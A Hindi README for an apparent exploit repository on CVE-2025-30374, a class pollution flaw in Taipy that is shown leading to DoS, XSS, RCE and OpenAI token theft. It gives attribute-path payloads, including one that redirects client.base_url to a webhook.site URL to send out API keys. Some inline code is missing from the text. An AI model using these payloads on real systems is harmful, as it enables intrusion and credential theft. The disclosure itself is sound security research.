
CVE-2025-30374 के लिए एक्सप्लॉइट PoCs, एक Taipy क्लास पॉल्यूशन बग, जो RCE, रिफ्लेक्टेड XSS, DoS और OpenAI क्रेडेंशियल लीकेज को Docker-आधारित पुनरुत्पादन स्क्रिप्ट के साथ प्रदर्शित करता है।
Taipy v4.0.3 (खोज के समय नवीनतम संस्करण) में एक क्लास पोल्यूशन भेद्यता की पहचान की गई है। यह भेद्यता अनधिकृत हमलावरों को Taipy सर्वर-साइड रनटाइम संदर्भ को अधिलेखित करने की अनुमति देती है, जिससे RCE, रिफ्लेक्टेड XSS, डेनियल ऑफ सर्विस (DoS) और संवेदनशील प्राधिकरण क्रेडेंशियल (जैसे OpenAI टोकन) के लीकेज जैसे गंभीर परिणाम हो सकते हैं।
पृष्ठभूमि
क्लास पोल्यूशन (जावास्क्रिप्ट में प्रोटोटाइप पोल्यूशन के अनुरूप) पायथन में एक अपेक्षाकृत नई भेद्यता है। यह तब होता है जब कोई हमलावर रनटाइम पर किसी मॉड्यूल के ग्लोबल वेरिएबल्स या कुछ क्लासेस और फ़ंक्शन्स की विशेषताओं को अप्रत्याशित रूप से अधिलेखित कर सकता है। यह समस्या CWE-915 के अंतर्गत वर्गीकृत है।
क्लास पोल्यूशन के बारे में अधिक जानकारी के लिए, कृपया देखें:
[1] Class Pollution Wiki
[2] CWE-915: डायनेमिक रूप से निर्धारित ऑब्जेक्ट विशेषताओं का अनुचित रूप से नियंत्रित संशोधन
Taipy में पाई गई क्लास पोल्यूशन भेद्यता
इस भेद्यता का मूल कारण Taipy द्वारा Taipy states में वेरिएबल मानों को अपडेट करने के लिए एक रिकर्सिव सेट फ़ंक्शन का उपयोग है। name और दोनों पैरामीटर क्लाइंट-साइड इनपुट से प्राप्त होते हैं और उनमें उचित सत्यापन का अभाव है। यह एक हमलावर को दुर्भावनापूर्ण एट्रिब्यूट पथ, जैसे , इंजेक्ट करके की विधि को अधिलेखित करने की अनुमति देता है।
value_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set_TaipyBasesetनिम्नलिखित फ़ंक्शन क्लाइंट साइड से states को अपडेट करने के लिए _manage_message के माध्यम से कई रूट्स में लागू किए जाते हैं:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
सेटअप
नीचे दिए गए सभी PoC इस रिपॉजिटरी में शामिल डेमो चैट ऐप (देखें app/) को लक्षित करते हैं, जो आधिकारिक Taipy LLM Chat डेमो (https://github.com/Avaiga/demo-llm-chat) पर आधारित है और Taipy 4.0.3 (खोज के समय का संस्करण) को पिन करता है। इसे Docker से बनाएं और चलाएं:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
DoS, XSS और RCE PoCs को मान्य OpenAI कुंजी की आवश्यकता नहीं होती है। टोकन-लीकेज PoC के लिए, ऐप को वास्तविक कुंजी के साथ शुरू करें ताकि एक्सफिल्ट्रेटेड अनुरोध उसे अपने साथ ले जाए:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
फिर रिपॉजिटरी रूट से संबंधित स्क्रिप्ट चलाएं (जैसे python poc-dos.py)। पहले pip install "python-socketio[client]" requests के साथ क्लाइंट निर्भरताएँ स्थापित करें।
परिणाम 1: DoS
पूरा एक्सप्लॉइट यहाँ पाया जा सकता है: poc-dos.py
poc-dos.py एक बाउंड होल्डर वेरिएबल को एंट्री पॉइंट के रूप में उपयोग करके साझा _TaipyBase क्लास की set विधि को एक गैर-कॉलेबल पूर्णांक के साथ अधिलेखित करता है:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
चूंकि प्रत्येक Taipy वैल्यू होल्डर (_TaipyData, _TaipyLov, _TaipyLovValue, ...) _TaipyBase से व्युत्पन्न होता है, इसलिए सर्वर किसी भी बाउंड वेरिएबल का (पुनः) मूल्यांकन करते समय TypeError: 'int' object is not callable उठाता है। यह केवल हमलावर के सत्र को नहीं, बल्कि हर सत्र को प्रभावित करता है, और ऐप के पुनः आरंभ होने तक बना रहता है।
परिणाम 2: OpenAI टोकन लीकेज
पूरा एक्सप्लॉइट यहाँ पाया जा सकता है: poc-token-exfil.py
डेमो ऐप एक मॉड्यूल ग्लोबल (client) में openai.Client रखता है, जो Taipy state में बाउंड होता है और state.client.chat.completions.create(...) के रूप में उपयोग किया जाता है। poc-token-exfil.py client.base_url को हमलावर-नियंत्रित URL से पोल्यूट करता है:
client.base_url = https://webhook.site/<your-uuid>
प्रत्येक बाद का चैट अनुरोध, जिसमें Authorization: Bearer <OPENAI_API_KEY> हेडर और पूरी बातचीत होती है, फिर हमलावर-नियंत्रित सर्वर पर पुनर्निर्देशित हो जाता है, जिससे OpenAI टोकन लीक हो जाता है।
परिणाम 3: XSS

निम्नलिखित फ़ंक्शन में, जब एप्लिकेशन उपयोगकर्ता सामग्री को रेंडर करने का प्रयास करता है, यदि उपयुक्त रेंडरर नहीं मिलता है, तो यह HTML प्रतिक्रिया के रूप में type(content).__name__ लौटाने का सहारा लेता है:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
हालाँकि, क्लास ऑब्जेक्ट की __name__ विशेषता क्लास पोल्यूशन के माध्यम से सेट करने योग्य है, जैसे tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__। एक हमलावर इस विशेषता को दुर्भावनापूर्ण HTML या JavaScript पेलोड के साथ अधिलेखित कर सकता है।
पूरा एक्सप्लॉइट यहाँ पाया जा सकता है: poc-xss-no-dot.py (v4.0.3 के विरुद्ध काम करता है) और poc-xss.py (डॉटेड "U" वैरिएंट, Taipy ≤ 4.0.2)।
परिणाम 4: RCE

आगे, हम दिखाते हैं कि RCE हमले की ओर कैसे ले जाया जाए।
क्लास पोल्यूशन भेद्यता हमलावरों को सेशन स्टेट में दिखाई देने वाली वस्तुओं पर मनमानी विशेषताएँ सेट करने की अनुमति देती है, जिसमें डिफ़ॉल्ट रूप से कई संवेदनशील ऑब्जेक्ट नहीं होते हैं। हालाँकि, हमने पाया कि Gui.on_action रूट का उपयोग Gui.table_on_edit हैंडलर को लागू करने के लिए किया जा सकता है, जिससे __main__ मॉड्यूल की नई वस्तुएँ सेशन स्टेट में बाउंड हो जाती हैं। निम्नलिखित पंक्ति में, स्टेट ऑब्जेक्ट पर getattr कॉल स्वचालित रूप से बाइंडिंग ऑपरेशन को ट्रिगर करता है, जबकि उसके बाद setattr तुरंत बाउंड मान को None पर रीसेट कर देता है:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
यह व्यवहार एक संक्षिप्त रेस विंडो बनाता है जहाँ ऑब्जेक्ट संदर्भ, जैसे Gui क्लास, अस्थायी रूप से सेशन स्टेट में मौजूद होते हैं। इस विंडो के दौरान, हमलावर उन वस्तुओं पर विशेषताओं को अधिलेखित करने के लिए क्लास पोल्यूशन का शोषण कर सकते हैं।
हमने आगे यह भी पता लगाया कि Gui.__SELF_VAR विशेषता का उपयोग पायथन के बिल्ट-इन eval() फ़ंक्शन को दिए जाने वाले एक्सप्रेशन के निर्माण में प्रीफिक्स के रूप में किया जाता है:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
क्लास पोल्यूशन के माध्यम से __SELF_VAR मान को अधिलेखित करके, एक हमलावर मूल्यांकन किए जा रहे एक्सप्रेशन को नियंत्रित कर सकता है, जो अंततः सर्वर पर मनमाना कोड निष्पादन की ओर ले जाता है।
पूरा एक्सप्लॉइट यहाँ पाया जा सकता है: poc-rce-no-dot.py (v4.0.3 के विरुद्ध काम करता है) और poc-rce.py (डॉटेड "U" वैरिएंट, Taipy ≤ 4.0.2)। दोनों table_on_edit को कॉल करने वाले on_action रूट के माध्यम से Gui ऑब्जेक्ट को सेशन स्टेट में बाइंड करते हैं, फिर उसके विरुद्ध क्लास-पोल्यूशन राइट को रेस करते हैं, इसलिए उन्हें सफल होने के लिए कई प्रयासों की आवश्यकता हो सकती है।
Taipy का कोई भी उपयोगकर्ता इस भेद्यता का शोषण करके RCE, रिफ्लेक्टेड XSS, डेनियल ऑफ सर्विस (DoS) और संवेदनशील प्राधिकरण क्रेडेंशियल (जैसे OpenAI टोकन) के लीकेज को अंजाम दे सकता है।